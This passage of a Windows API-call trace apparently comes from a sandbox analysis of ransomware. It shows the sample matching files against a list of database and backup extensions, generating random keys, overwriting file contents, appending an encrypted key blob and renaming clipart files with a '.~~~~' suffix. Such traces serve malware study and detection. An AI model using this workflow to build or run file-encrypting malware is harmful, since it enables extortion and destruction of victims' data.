	[0113.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".MYD") returned 0x0
	[0113.349] lstrlenW (lpString=".DBT") returned 4
	[0113.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".DBT") returned 0x0
	[0113.349] lstrlenW (lpString=".ACCDB") returned 6
	[0113.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".ACCDB") returned 0x0
	[0113.349] lstrlenW (lpString=".fdb") returned 4
	[0113.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".fdb") returned 0x0
	[0113.349] lstrlenW (lpString=".bak") returned 4
	[0113.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".bak") returned 0x0
	[0113.349] lstrlenW (lpString=".myd") returned 4
	[0113.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".myd") returned 0x0
	[0113.349] lstrlenW (lpString=".DTXS") returned 5
	[0113.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".DTXS") returned 0x0
	[0113.349] lstrlenW (lpString=".ckp") returned 4
	[0113.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".ckp") returned 0x0
	[0113.349] lstrlenW (lpString=".dbt") returned 4
	[0113.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".dbt") returned 0x0
	[0113.350] lstrlenW (lpString=".db") returned 3
	[0113.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".db") returned 0x0
	[0113.350] lstrlenW (lpString=".TXT") returned 4
	[0113.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".TXT") returned 0x0
	[0113.350] lstrlenW (lpString=".MDF") returned 4
	[0113.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".MDF") returned 0x0
	[0113.350] lstrlenW (lpString=".bdb") returned 4
	[0113.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".bdb") returned 0x0
	[0113.350] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0113.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0113.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0113.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363058
	[0113.350] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.351] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.352] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.352] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23334193190) returned 1
	[0113.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad299e90, dwHighDateTime=0x1d60e1e)) 
	[0113.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x29be580
	[0113.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29be580 | out: hHeap=0x300000) returned 1
	[0113.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cef90
	[0113.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835088
	[0113.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.353] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.353] GetLastError () returned 0x0
	[0113.354] GetLastError () returned 0x0
	[0113.354] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.354] GetLastError () returned 0x0
	[0113.354] GetLastError () returned 0x0
	[0113.359] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb704, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.359] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x48fc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x48fc, lpOverlapped=0x0) returned 1
	[0113.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.361] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.361] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.361] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.361] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.362] CloseHandle (hObject=0x11c) returned 1
	[0113.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cef90
	[0113.362] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp.~~~~")) returned 1
	[0113.363] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.363] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.363] GetLastError () returned 0x0
	[0113.364] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.365] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.365] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.366] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23335568695) returned 1
	[0113.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad2bfff0, dwHighDateTime=0x1d60e1e)) 
	[0113.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830ec8
	[0113.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830ec8 | out: hHeap=0x300000) returned 1
	[0113.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cef90
	[0113.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28351b8
	[0113.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.366] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.367] GetLastError () returned 0x0
	[0113.367] GetLastError () returned 0x0
	[0113.367] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.367] GetLastError () returned 0x0
	[0113.367] GetLastError () returned 0x0
	[0113.369] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8320, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.370] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x7ce0, lpOverlapped=0x0) returned 1
	[0113.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.371] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.371] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.372] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.372] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.372] CloseHandle (hObject=0x11c) returned 1
	[0113.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cef90
	[0113.372] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp.~~~~")) returned 1
	[0113.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.373] GetLastError () returned 0x0
	[0113.437] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.466] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.466] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.466] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23345619988) returned 1
	[0113.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad3a4830, dwHighDateTime=0x1d60e1e)) 
	[0113.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839060
	[0113.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839060 | out: hHeap=0x300000) returned 1
	[0113.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0113.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835840
	[0113.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.467] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.467] GetLastError () returned 0x0
	[0113.467] GetLastError () returned 0x0
	[0113.467] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.467] GetLastError () returned 0x0
	[0113.468] GetLastError () returned 0x0
	[0113.471] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8098, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.471] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x7f68, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x7f68, lpOverlapped=0x0) returned 1
	[0113.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.472] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.472] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.472] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.472] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.472] CloseHandle (hObject=0x11c) returned 1
	[0113.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0113.473] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp.~~~~")) returned 1
	[0113.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.474] GetLastError () returned 0x0
	[0113.474] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.475] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.475] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.475] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23346544820) returned 1
	[0113.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad3ca990, dwHighDateTime=0x1d60e1e)) 
	[0113.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839140
	[0113.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839140 | out: hHeap=0x300000) returned 1
	[0113.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0113.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28355e0
	[0113.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.476] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.476] GetLastError () returned 0x0
	[0113.476] GetLastError () returned 0x0
	[0113.476] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.476] GetLastError () returned 0x0
	[0113.477] GetLastError () returned 0x0
	[0113.479] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff9f70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.479] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x6090, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x6090, lpOverlapped=0x0) returned 1
	[0113.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.480] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.480] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.480] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.480] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.480] CloseHandle (hObject=0x11c) returned 1
	[0113.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0113.481] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif.~~~~")) returned 1
	[0113.483] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.483] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.483] GetLastError () returned 0x0
	[0113.483] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.484] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.484] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.484] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23347428490) returned 1
	[0113.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad3f0af0, dwHighDateTime=0x1d60e1e)) 
	[0113.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839178
	[0113.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839178 | out: hHeap=0x300000) returned 1
	[0113.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
